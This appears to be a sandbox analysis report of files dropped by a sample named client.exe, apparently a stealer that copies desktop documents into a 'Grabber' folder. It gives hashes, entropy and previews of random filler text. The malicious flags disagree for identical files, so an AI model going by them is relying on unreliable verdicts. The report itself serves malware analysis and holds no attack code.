SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	true
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	true
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
